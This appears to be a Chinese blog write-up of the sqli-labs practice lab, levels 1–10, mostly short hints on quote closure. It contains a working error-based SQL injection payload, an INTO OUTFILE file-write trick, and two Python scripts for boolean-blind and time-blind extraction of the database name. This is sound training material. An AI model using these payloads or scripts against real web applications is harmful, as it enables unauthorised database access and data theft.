前言:
咸鱼了一个多月没发博文了,期间猝死于期中考试、项目组互联网+创新创业比赛、以及天津旅游。现在终于又有短暂的开坑时间了。准备好好做一下 sqli-labs 的题目。并且在这个过程中尽量尝试各种 sqli 的奇技淫巧。尽可能多的学习姿势。
题解:
Less-1:
字符型注入 单引号闭合
不多说
Less-2:
数字型 直接在 id 参数值后面拼接 payload 就好了
Less-3:
单引号可以看报错信息,比 less-1 多了个括号
Less-4:
比 Less-3 多了个括号。。。。
Less-5:
有报错信息,没有回显信息。用报错注入即可:
id=1' and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
Less-6:
把 Less-5 的单引号换成双引号
Less-7:
考察利用
select * from users into outfile "path/file_name";
将数据库内容写出到文件。但是 mysql5.7 版本 多了一个secure_file_priv 的配置选项,这个选项默认值为空,在这个情况下是没有办法使用 sql 进行文件读写的。
比如 secure_file_priv = /tmp sql 就只能读写 /tmp 目录下的文件。限制还是比较大的。
Less-8:
典型的布尔盲注,简单的写了个脚本:
import requests
import string
flag = ""
sqli = "http://xxx.xxx.xxx.xxx/Less-8/?id=1'"
n = 1
while n < 30:
for i in string.printable:
payload = " and mid(database(),1,%s)=\"%s\"%%23" % (n, flag + i)
r = requests.get(sqli+payload)
if "You" in r.text:
flag += i
print(flag)
break
n += 1
Less-9:
典型的时间盲注
脚本上面的改改就行了:
import requests
import string
flag = ""
sqli = "http://xxx.xxx.xxx.xxx/Less-8/?id=1'"
n = 1
while n < 30:
for i in string.printable:
payload = " and if(mid(database(),1,%s)=\"%s\",sleep(3),1)%%23" % (n, flag + i)
try:
r = requests.get(sqli + payload, timeout=1)
except requests.exceptions.ReadTimeout:
flag += i
print(flag)
break
n += 1
Less-10:
Less-9 的单引号变成双引号就好了